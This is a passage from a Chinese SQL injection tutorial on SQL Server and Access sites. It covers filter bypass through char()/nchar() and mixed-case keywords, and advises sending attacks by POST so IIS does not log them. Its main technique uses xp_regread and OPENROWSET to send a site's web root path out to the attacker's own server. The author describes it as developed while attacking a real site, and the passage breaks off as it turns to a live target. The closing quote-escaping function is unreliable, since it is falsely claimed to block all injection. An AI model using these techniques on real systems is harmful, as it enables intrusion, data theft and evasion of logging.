SQL注入漏洞的攻防策略(3)
第二節(jié)、繞過程序限制繼續(xù)注入
在入門篇提到,有很多人喜歡用’號(hào)測試注入漏洞,所以也有很多人用過濾’號(hào)的方法來“防止”注
入漏洞,這也許能擋住一些入門者的攻擊,但對(duì)SQL注入比較熟悉的人,還是可以利用相關(guān)的函數(shù),達(dá)到
繞過程序限制的目的。
在“SQL注入的一般步驟”一節(jié)中,我所用的語句,都是經(jīng)過我優(yōu)化,讓其不包含有單引號(hào)的;在“
利用系統(tǒng)表注入SQLServer數(shù)據(jù)庫”中,有些語句包含有’號(hào),我們舉個(gè)例子來看看怎么改造這些語句:
簡單的如where xtype=’U’,字符U對(duì)應(yīng)的ASCII碼是85,所以可以用where xtype=char(85)代替;
如果字符是中文的,比如where name=’用戶’,可以用where name=nchar(29992)+nchar(25143)代替。
第三節(jié)、經(jīng)驗(yàn)小結(jié)
1.有些人會(huì)過濾Select、Update、Delete這些關(guān)鍵字,但偏偏忘記區(qū)分大小寫,所以大家可以用sele
cT這樣嘗試一下。
2.在猜不到字段名時(shí),不妨看看網(wǎng)站上的登錄表單,一般為了方便起見,字段名都與表單的輸入框取
相同的名字。
3.特別注意:地址欄的+號(hào)傳入程序后解釋為空格,%2B解釋為+號(hào),%25解釋為%號(hào),具體可以參考URL
Encode的相關(guān)介紹。
4.用Get方法注入時(shí),IIS會(huì)記錄你所有的提交字符串,對(duì)Post方法做則不記錄,所以能用Post的網(wǎng)址
盡量不用Get。
5. 猜解Access時(shí)只能用Ascii逐字解碼法,SQLServer也可以用這種方法,只需要兩者之間的區(qū)別即
可,但是如果能用SQLServer的報(bào)錯(cuò)信息把值暴露出來,那效率和準(zhǔn)確率會(huì)有極大的提高。
防范方法
SQL注入漏洞可謂是“千里之堤,潰于蟻穴”,這種漏洞在網(wǎng)上極為普遍,通常是由于程序員對(duì)注入
不了解,或者程序過濾不嚴(yán)格,或者某個(gè)參數(shù)忘記檢查導(dǎo)致。在這里,我給大家一個(gè)函數(shù),代替ASP中的R
equest函數(shù),可以對(duì)一切的SQL注入Say NO,函數(shù)如下:
Function SafeRequest(ParaName,ParaType)
'--- 傳入?yún)?shù) ---
'ParaName:參數(shù)名稱-字符型
'ParaType:參數(shù)類型-數(shù)字型(1表示以上參數(shù)是數(shù)字,0表示以上參數(shù)為字符)
Dim Paravalue
Paravalue=Request(ParaName)
If ParaType=1 then
If not isNumeric(Paravalue) then
Response.write "參數(shù)" & ParaName & "必須為數(shù)字型!"
Response.end
End if
Else
Paravalue=replace(Paravalue,"'","''")
End if
SafeRequest=Paravalue
End function
不管你是安全人員、技術(shù)愛好者還是程序員,我都希望本文能對(duì)你有所幫助。
SQL注入攻擊常見方法和技巧
知己知披 方能百戰(zhàn)百勝;“黑客”們采用的攻擊方法雷同,下面是我挑選的一些具有代表性的攻擊方法
,分析這些方法有助于程序員們編寫更少漏洞的程序。
跨站式SQL注入數(shù)據(jù)庫攻擊和防范技巧
前一階段,在嘗試攻擊一個(gè)網(wǎng)站的時(shí)候,發(fā)現(xiàn)對(duì)方的系統(tǒng)已經(jīng)屏蔽了錯(cuò)誤信息,用的也是普通的帳號(hào)連接
的數(shù)據(jù)庫,系統(tǒng)也是打了全部的補(bǔ)丁這樣要攻擊注入是比較麻煩的。因此我自己搞了一種“跨站式SQL注
入”。
思路如下,既然你不顯示錯(cuò)誤信息,我能不能讓你顯示到別的地方呢?讓SQL把錯(cuò)誤寫入別的地方。
既然是研究階段,我們最好不要直接注入網(wǎng)站,而是首先用查詢分析器來分析這個(gè)方法。
第一個(gè)想法:
SQL可以連接外部的數(shù)據(jù)庫。
于是,首先用查詢分析器,登陸到我自己的一個(gè)虛擬主機(jī)的數(shù)據(jù)庫(這樣的權(quán)限比較小),然后在本
地啟動(dòng)一個(gè)SQL server,并且用SA的身份在SQL事件探測器里邊建立一個(gè)跟蹤。
嘗試 sp_addlinkedserver 如果成功,那就和操作本地?cái)?shù)據(jù)庫一樣了。
提示必須是sysadmin的身份。。失敗。
換一個(gè)思路:
只要你SQL敢發(fā)命令過來,我不管執(zhí)行的結(jié)果怎么樣,只要接獲到命令就可以了。
于是考慮到一個(gè)權(quán)限要求不是很高的命令:OPENROWSET 來跨服務(wù)器查詢。這個(gè)命令作用是把一個(gè)數(shù)
據(jù)庫命令發(fā)給遠(yuǎn)程的數(shù)據(jù)庫,取回來結(jié)果集。。于是就啟動(dòng)“事件跟蹤”監(jiān)視發(fā)過來的命令。
第一次嘗試,首先還是執(zhí)行 create table [dbo].[laokai]([cha8][char](255))--建立一個(gè)表。隨
后是把路徑寫入數(shù)據(jù)庫,這里我考慮,直接生成一個(gè)跨庫的腳本算了。好方便執(zhí)行。。
DECLARE @result varchar(255) exec master.dbo.xp_regread
'HKEY_LOCAL_MACHINE','SYSTEM/CONTROLSet001/Services/W3SVC/Parameters/Virtual Roots', '/'
,@result output insert into laokai (cha8) values('SELECT a.* FROM OPENROWSET(''SQLOLEDB'',''
你的IP'';''sa'';''密碼'', ''SELECT * FROM pubs.dbo.authors where au_fname=''''' + @result +
''''''')AS a');--
這段代碼什么意思哪?就是把網(wǎng)站的路徑信息寫入數(shù)據(jù)庫。也不是單純的寫,寫得同時(shí)構(gòu)造一個(gè)SQL
語句,這個(gè)語句的執(zhí)行結(jié)果是給laokai這個(gè)數(shù)據(jù)庫的cha8字段增加了這樣的一行記錄。
SELECT a.* FROM OPENROWSET('SQLOLEDB','你的IP';'sa';'密碼', 'SELECT * FROM pubs.dbo.authors
where au_fname=''C:/Inetpub,,1''')AS a
其中的C:/Inetpub,,1就是注冊表記錄的根目錄,最后要做的是:
DECLARE @a1 char(255) set @a1=(SELECT cha8 FROM laokai) exec (@a1);--
這樣就等于執(zhí)行了
SELECT a.* FROM OPENROWSET('SQLOLEDB','你的IP';'sa';'密碼', 'SELECT * FROM pubs.dbo.authors
where au_fname=''C:/Inetpub,,1''')AS a
這一條語句,同時(shí)你會(huì)在事件探測器那邊會(huì)顯示
SELECT * FROM pubs.dbo.authors where au_fname='C:/Inetpub,,1'
其中的C:/Inetpub 就是網(wǎng)站的路徑。。調(diào)試成功。。
現(xiàn)在進(jìn)入實(shí)戰(zhàn)階段。某網(wǎng)站屏蔽了全部出錯(cuò)信息。但是我們可以確定它存在注入點(diǎn) a.asp?id=1,怎么做呢?